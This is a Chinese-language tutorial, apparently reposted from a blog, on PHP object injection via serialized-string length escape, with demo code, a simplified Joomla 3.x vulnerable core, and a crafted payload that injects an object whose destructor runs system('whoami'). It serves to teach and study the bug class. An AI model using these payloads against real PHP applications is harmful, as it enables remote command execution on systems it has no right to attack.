PHP字符逃逸導致的對象注入

6{icon} {views}

1.漏洞產生原因:

序列化的字符串在經過過濾函數不正確的處理而導致對象注入,目前看到都是因為過濾函數放在了serialize函數之後,要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性:

1.PHP 在反序列化時,底層代碼是以 ; 作為字段的分隔,以 } 作為結尾(字符串除外),並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題,即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言,也能夠正常反序列化,說明php在反序列化的時候只要求一個反序列化字符串塊合法即可,當然得是第一個字符串塊

以以上代碼為例,如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性,使其可以逃逸出更多可用的字符串,那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456,此時我們的payload如果和之前的username長度為a,則filter處理以後可能username就會變成a,此時我們的payload變成了新的注入的屬性,此時反序列化后就會得到我們想要的結果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果,此時我們想要注入的payload明顯為:

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy,即注入一個x可以逃逸出一個字符的空位,那麼我們只需要注入20個x即可變成40個y,即可逃逸出20個空位,從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功,反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性,不能在其外部,否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的,那麼s對應的字符串變少以後將會吞掉其他屬性的字符,那麼如果我們精心算好吞掉的字符長度,並且能夠控制被吞掉屬性的內容,那麼就能夠注入對象,從而反序列化其他類

比如如上所示,此時我們要注入的對象為evil,此時username和password的值我們可控,那麼我們可以在username中注入\0,來吞掉password的值,比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段,並且長度肯定是>=10的,因此s肯定是兩位數,因此這裏為22+1=23位字符

因為是6->3,因此每次添加一組\0\0\0能多吞掉3個字符,因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符,為了不讓其吞掉payload,我們可以填充1位字符A,即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示,將成功反序列化password屬性所對應的值,其值即為我們注入的對象,整個過程也容易理解,就是吞掉後面的屬性來注入屬性,那麼達到攻擊有以下要求:

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化,變長變短都可以,變短的話可以吞掉後面相鄰屬性的值,然後在相鄰屬性中注入新的對象,如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符,從而可以導致吞掉後面的普通用戶的username字段,而在username字段可以放上我們想要偽造的username,從而達到偽造session的目的

 參考:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整